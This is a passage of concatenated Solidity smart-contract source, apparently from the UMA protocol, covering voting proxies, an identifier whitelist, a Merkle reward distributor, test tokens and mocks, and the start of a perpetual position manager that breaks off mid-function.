transformedPriceIdentifier; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; contract ExpiringMultiPartyMock is Testable { using FixedPoint for FixedPoint.Unsigned; FinancialProductLibrary public financialProductLibrary; uint256 public expirationTimestamp; FixedPoint.Unsigned public collateralRequirement; bytes32 public priceIdentifier; constructor( address _financialProductLibraryAddress, uint256 _expirationTimestamp, FixedPoint.Unsigned memory _collateralRequirement, bytes32 _priceIdentifier, address _timerAddress ) public Testable(_timerAddress) { expirationTimestamp = _expirationTimestamp; collateralRequirement = _collateralRequirement; financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress); priceIdentifier = _priceIdentifier; } function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) public view returns (FixedPoint.Unsigned memory) { if (address(financialProductLibrary) == address(0)) return price; try financialProductLibrary.transformPrice(price, requestTime) returns ( FixedPoint.Unsigned memory transformedPrice ) { return transformedPrice; } catch { return price; } } function transformCollateralRequirement(FixedPoint.Unsigned memory price) public view returns (FixedPoint.Unsigned memory) { if (address(financialProductLibrary) == address(0)) return collateralRequirement; try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns ( FixedPoint.Unsigned memory transformedCollateralRequirement ) { return transformedCollateralRequirement; } catch { return collateralRequirement; } } function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) { if (address(financialProductLibrary) == address(0)) return priceIdentifier; try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns ( bytes32 transformedIdentifier ) { return transformedIdentifier; } catch { return priceIdentifier; } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/VotingAncillaryInterface.sol"; // A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data. abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable { using FixedPoint for FixedPoint.Unsigned; // Events, data structures and functions not exported in the base interfaces, used for testing. event VoteCommitted( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData ); event EncryptedVote( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, bytes encryptedVote ); event VoteRevealed( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData, uint256 numTokens ); event RewardsRetrieved( address indexed voter, uint256 indexed roundId, bytes32 indexed identifier, uint256 time, bytes ancillaryData, uint256 numTokens ); event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time); event PriceResolved( uint256 indexed roundId, bytes32 indexed identifier, uint256 time, int256 price, bytes ancillaryData ); struct Round { uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken. FixedPoint.Unsigned inflationRate; // Inflation rate set for this round. FixedPoint.Unsigned gatPercentage; // Gat rate set for this round. uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until. } // Represents the status a price request has. enum RequestStatus { NotRequested, // Was never requested. Active, // Is being voted on in the current round. Resolved, // Was resolved in a previous round. Future // Is scheduled to be voted on in a future round. } // Only used as a return value in view methods -- never stored in the contract. struct RequestState { RequestStatus status; uint256 lastVotingRound; } function rounds(uint256 roundId) public view virtual returns (Round memory); function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests) public view virtual returns (RequestState[] memory); function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/Withdrawable.sol"; import "../interfaces/VotingAncillaryInterface.sol"; import "../interfaces/FinderInterface.sol"; import "./Constants.sol"; /** * @title Proxy to allow voting from another address. * @dev Allows a UMA token holder to designate another address to vote on their behalf. * Each voter must deploy their own instance of this contract. */ contract DesignatedVoting is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the Voter role. Is also permanently permissioned as the minter role. Voter // Can vote through this contract. } // Reference to the UMA Finder contract, allowing Voting upgrades to be performed // without requiring any calls to this contract. FinderInterface private finder; /** * @notice Construct the DesignatedVoting contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. * @param ownerAddress address of the owner of the DesignatedVoting contract. * @param voterAddress address to which the owner has delegated their voting power. */ constructor( address finderAddress, address ownerAddress, address voterAddress ) public { _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress); _createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress); _setWithdrawRole(uint256(Roles.Owner)); finder = FinderInterface(finderAddress); } /**************************************** * VOTING AND REWARD FUNCTIONALITY * ****************************************/ /** * @notice Forwards a commit to Voting. * @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param hash the keccak256 hash of the price you want to vote for and a random integer salt value. */ function commitVote( bytes32 identifier, uint256 time, bytes memory ancillaryData, bytes32 hash ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().commitVote(identifier, time, ancillaryData, hash); } /** * @notice Forwards a batch commit to Voting. * @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`. */ function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchCommit(commits); } /** * @notice Forwards a reveal to Voting. * @param identifier voted on in the commit phase. EG BTC/USD price pair. * @param time specifies the unix timestamp of the price being voted on. * @param price used along with the `salt` to produce the `hash` during the commit phase. * @param salt used along with the `price` to produce the `hash` during the commit phase. */ function revealVote( bytes32 identifier, uint256 time, int256 price, bytes memory ancillaryData, int256 salt ) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt); } /** * @notice Forwards a batch reveal to Voting. * @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt. */ function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals) external onlyRoleHolder(uint256(Roles.Voter)) { _getVotingAddress().batchReveal(reveals); } /** * @notice Forwards a reward retrieval to Voting. * @dev Rewards are added to the tokens already held by this contract. * @param roundId defines the round from which voting rewards will be retrieved from. * @param toRetrieve an array of PendingRequests which rewards are retrieved from. * @return amount of rewards that the user should receive. */ function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve) public onlyRoleHolder(uint256(Roles.Voter)) returns (FixedPoint.Unsigned memory) { return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve); } function _getVotingAddress() private view returns (VotingAncillaryInterface) { return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Withdrawable.sol"; import "./DesignatedVoting.sol"; /** * @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances. * @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract. */ contract DesignatedVotingFactory is Withdrawable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract. } address private finder; mapping(address => DesignatedVoting) public designatedVotingContracts; /** * @notice Construct the DesignatedVotingFactory contract. * @param finderAddress keeps track of all contracts within the system based on their interfaceName. */ constructor(address finderAddress) public { finder = finderAddress; _createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender); } /** * @notice Deploys a new `DesignatedVoting` contract. * @param ownerAddress defines who will own the deployed instance of the designatedVoting contract. * @return designatedVoting a new DesignatedVoting contract. */ function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) { DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender); designatedVotingContracts[msg.sender] = designatedVoting; return designatedVoting; } /** * @notice Associates a `DesignatedVoting` instance with `msg.sender`. * @param designatedVotingAddress address to designate voting to. * @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter` * address and wants that reflected here. */ function setDesignatedVoting(address designatedVotingAddress) external { designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Withdrawable.sol"; // WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes. contract WithdrawableTest is Withdrawable { enum Roles { Governance, Withdraw } // solhint-disable-next-line no-empty-blocks constructor() public { _createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender); _createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender); } function pay() external payable { require(msg.value > 0); } function setInternalWithdrawRole(uint256 setRoleId) public { _setWithdrawRole(setRoleId); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; /** * @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI) * @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note: * this token should never be used to store real value since it allows permissionless minting. */ contract TestnetERC20 is ERC20 { /** * @notice Constructs the TestnetERC20. * @param _name The name which describes the new token. * @param _symbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _decimals The number of decimals to define token precision. */ constructor( string memory _name, string memory _symbol, uint8 _decimals ) public ERC20(_name, _symbol) { _setupDecimals(_decimals); } // Sample token information. /** * @notice Mints value tokens to the owner address. * @param ownerAddress the address to mint to. * @param value the amount of tokens to mint. */ function allocateTo(address ownerAddress, uint256 value) external { _mint(ownerAddress, value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/IdentifierWhitelistInterface.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Stores a whitelist of supported identifiers that the oracle can provide prices for. */ contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable { /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ mapping(bytes32 => bool) private supportedIdentifiers; /**************************************** * EVENTS * ****************************************/ event SupportedIdentifierAdded(bytes32 indexed identifier); event SupportedIdentifierRemoved(bytes32 indexed identifier); /**************************************** * ADMIN STATE MODIFYING FUNCTIONS * ****************************************/ /** * @notice Adds the provided identifier as a supported identifier. * @dev Price requests using this identifier will succeed after this call. * @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD. */ function addSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (!supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = true; emit SupportedIdentifierAdded(identifier); } } /** * @notice Removes the identifier from the whitelist. * @dev Price requests using this identifier will no longer succeed after this call. * @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD. */ function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner { if (supportedIdentifiers[identifier]) { supportedIdentifiers[identifier] = false; emit SupportedIdentifierRemoved(identifier); } } /**************************************** * WHITELIST GETTERS FUNCTIONS * ****************************************/ /** * @notice Checks whether an identifier is on the whitelist. * @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD. * @return bool if the identifier is supported (or not). */ function isIdentifierSupported(bytes32 identifier) external view override returns (bool) { return supportedIdentifiers[identifier]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/AdministrateeInterface.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Admin for financial contracts in the UMA system. * @dev Allows appropriately permissioned admin roles to interact with financial contracts. */ contract FinancialContractsAdmin is Ownable { /** * @notice Calls emergency shutdown on the provided financial contract. * @param financialContract address of the FinancialContract to be shut down. */ function callEmergencyShutdown(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.emergencyShutdown(); } /** * @notice Calls remargin on the provided financial contract. * @param financialContract address of the FinancialContract to be remargined. */ function callRemargin(address financialContract) external onlyOwner { AdministrateeInterface administratee = AdministrateeInterface(financialContract); administratee.remargin(); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/AdministrateeInterface.sol"; // A mock implementation of AdministrateeInterface, taking the place of a financial contract. contract MockAdministratee is AdministrateeInterface { uint256 public timesRemargined; uint256 public timesEmergencyShutdown; function remargin() external override { timesRemargined++; } function emergencyShutdown() external override { timesEmergencyShutdown++; } function pfc() external view override returns (FixedPoint.Unsigned memory) { return FixedPoint.fromUnscaledUint(0); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * Inspired by: * - https://github.com/pie-dao/vested-token-migration-app * - https://github.com/Uniswap/merkle-distributor * - https://github.com/balancer-labs/erc20-redeemable * * @title MerkleDistributor contract. * @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify * multiple Merkle roots distributions with customized reward currencies. * @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly. */ contract MerkleDistributor is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // A Window maps a Merkle root to a reward token address. struct Window { // Merkle root describing the distribution. bytes32 merkleRoot; // Currency in which reward is processed. IERC20 rewardToken; // IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical // data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code> // <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier // for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply // go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>. string ipfsHash; } // Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`. struct Claim { uint256 windowIndex; uint256 amount; uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim. address account; bytes32[] merkleProof; } // Windows are mapped to arbitrary indices. mapping(uint256 => Window) public merkleWindows; // Index of next created Merkle root. uint256 public nextCreatedIndex; // Track which accounts have claimed for each window index. // Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract. mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap; /**************************************** * EVENTS ****************************************/ event Claimed( address indexed caller, uint256 windowIndex, address indexed account, uint256 accountIndex, uint256 amount, address indexed rewardToken ); event CreatedWindow( uint256 indexed windowIndex, uint256 rewardsDeposited, address indexed rewardToken, address owner ); event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency); event DeleteWindow(uint256 indexed windowIndex, address owner); /**************************** * ADMIN FUNCTIONS ****************************/ /** * @notice Set merkle root for the next available window index and seed allocations. * @notice Callable only by owner of this contract. Caller must have approved this contract to transfer * `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the * owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all * claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur * because we do not segregate reward balances by window, for code simplicity purposes. * (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must * subsequently transfer in rewards or the following situation can occur). * Example race situation: * - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and * claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101. * - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner * correctly set `rewardsToDeposit` this time. * - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence: * (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens. * (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens. * (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens. * - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would * succeed and the second claim would fail, even though both claimants would expect their claims to succeed. * @param rewardsToDeposit amount of rewards to deposit to seed this allocation. * @param rewardToken ERC20 reward token. * @param merkleRoot merkle root describing allocation. * @param ipfsHash hash of IPFS object, conveniently stored for clients */ function setWindow( uint256 rewardsToDeposit, address rewardToken, bytes32 merkleRoot, string memory ipfsHash ) external onlyOwner { uint256 indexToSet = nextCreatedIndex; nextCreatedIndex = indexToSet.add(1); _setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash); } /** * @notice Delete merkle root at window index. * @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state. * @param windowIndex merkle root index to delete. */ function deleteWindow(uint256 windowIndex) external onlyOwner { delete merkleWindows[windowIndex]; emit DeleteWindow(windowIndex, msg.sender); } /** * @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly. * @dev Callable only by owner. * @param rewardCurrency rewards to withdraw from contract. * @param amount amount of rewards to withdraw. */ function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner { IERC20(rewardCurrency).safeTransfer(msg.sender, amount); emit WithdrawRewards(msg.sender, amount, rewardCurrency); } /**************************** * NON-ADMIN FUNCTIONS ****************************/ /** * @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail * if any individual claims within the batch would fail. * @dev Optimistically tries to batch together consecutive claims for the same account and same * reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method * is to pass in an array of claims sorted by account and reward currency. * @param claims array of claims to claim. */ function claimMulti(Claim[] memory claims) external { uint256 batchedAmount = 0; uint256 claimCount = claims.length; for (uint256 i = 0; i < claimCount; i++) { Claim memory _claim = claims[i]; _verifyAndMarkClaimed(_claim); batchedAmount = batchedAmount.add(_claim.amount); // If the next claim is NOT the same account or the same token (or this claim is the last one), // then disburse the `batchedAmount` to the current claim's account for the current claim's reward token. uint256 nextI = i + 1; address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken); if ( nextI == claimCount || // This claim is last claim. claims[nextI].account != _claim.account || // Next claim account is different than current one. address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken // Next claim reward token is different than current one. ) { IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount); batchedAmount = 0; } } } /** * @notice Claim amount of reward tokens for account, as described by Claim input object. * @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the * values stored in the merkle root for the `_claim`'s `windowIndex` this method * will revert. * @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof. */ function claim(Claim memory _claim) public { _verifyAndMarkClaimed(_claim); merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount); } /** * @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at * `windowIndex`. * @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`. * The onus is on the Owner of this contract to submit only valid Merkle roots. * @param windowIndex merkle root to check. * @param accountIndex account index to check within window index. * @return True if claim has been executed already, False otherwise. */ function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) { uint256 claimedWordIndex = accountIndex / 256; uint256 claimedBitIndex = accountIndex % 256; uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } /** * @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given * window index. * @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof. * @return valid True if leaf exists. */ function verifyClaim(Claim memory _claim) public view returns (bool valid) { bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex)); return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf); } /**************************** * PRIVATE FUNCTIONS ****************************/ // Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`. function _setClaimed(uint256 windowIndex, uint256 accountIndex) private { uint256 claimedWordIndex = accountIndex / 256; uint256 claimedBitIndex = accountIndex % 256; claimedBitMap[windowIndex][claimedWordIndex] = claimedBitMap[windowIndex][claimedWordIndex] | (1 << claimedBitIndex); } // Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root. function _setWindow( uint256 windowIndex, uint256 rewardsDeposited, address rewardToken, bytes32 merkleRoot, string memory ipfsHash ) private { Window storage window = merkleWindows[windowIndex]; window.merkleRoot = merkleRoot; window.rewardToken = IERC20(rewardToken); window.ipfsHash = ipfsHash; emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender); window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited); } // Verify claim is valid and mark it as completed in this contract. function _verifyAndMarkClaimed(Claim memory _claim) private { // Check claimed proof against merkle window at given index. require(verifyClaim(_claim), "Incorrect merkle proof"); // Check the account has not yet claimed for this window. require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window"); // Proof is correct and claim has not occurred yet, mark claimed complete. _setClaimed(_claim.windowIndex, _claim.accountIndex); emit Claimed( msg.sender, _claim.windowIndex, _claim.account, _claim.accountIndex, _claim.amount, address(merkleWindows[_claim.windowIndex].rewardToken) ); } } pragma solidity ^0.6.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/interfaces/ExpandedIERC20.sol"; import "../../oracle/interfaces/OracleInterface.sol"; import "../../oracle/interfaces/IdentifierWhitelistInterface.sol"; import "../../oracle/implementation/Constants.sol"; import "../common/FundingRateApplier.sol"; /** * @title Financial contract with priceless position management. * @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying * on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token. */ contract PerpetualPositionManager is FundingRateApplier { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // Expiry price pulled from the DVM in the case of an emergency shutdown. FixedPoint.Unsigned public emergencyShutdownPrice; /**************************************** * EVENTS * ****************************************/ event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount); event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp); event SettleEmergencyShutdown( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); /**************************************** * MODIFIERS * ****************************************/ modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PerpetualPositionManager. * @dev Deployer of this contract should consider carefully which parties have ability to mint and burn * the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts * can mint new tokens, which could be used to steal all of this contract's locked collateral. * We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles) * is assigned to this contract, whose sole Minter role is assigned to this contract, and whose * total supply is 0 prior to construction of this contract. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _tokenAddress ERC20 token used as synthetic token. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract. * @param _minSponsorTokens minimum number of tokens that must exist at any time in a position. * @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index). * @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production. */ constructor( uint256 _withdrawalLiveness, address _collateralAddress, address _tokenAddress, address _finderAddress, bytes32 _priceIdentifier, bytes32 _fundingRateIdentifier, FixedPoint.Unsigned memory _minSponsorTokens, address _configStoreAddress, FixedPoint.Unsigned memory _tokenScaling, address _timerAddress ) public FundingRateApplier( _fundingRateIdentifier, _collateralAddress, _finderAddress, _configStoreAddress, _tokenScaling, _timerAddress ) { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier)); withdrawalLiveness = _withdrawalLiveness; tokenCurrency = ExpandedIERC20(_tokenAddress); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public notEmergencyShutdown() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(msg.sender); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. 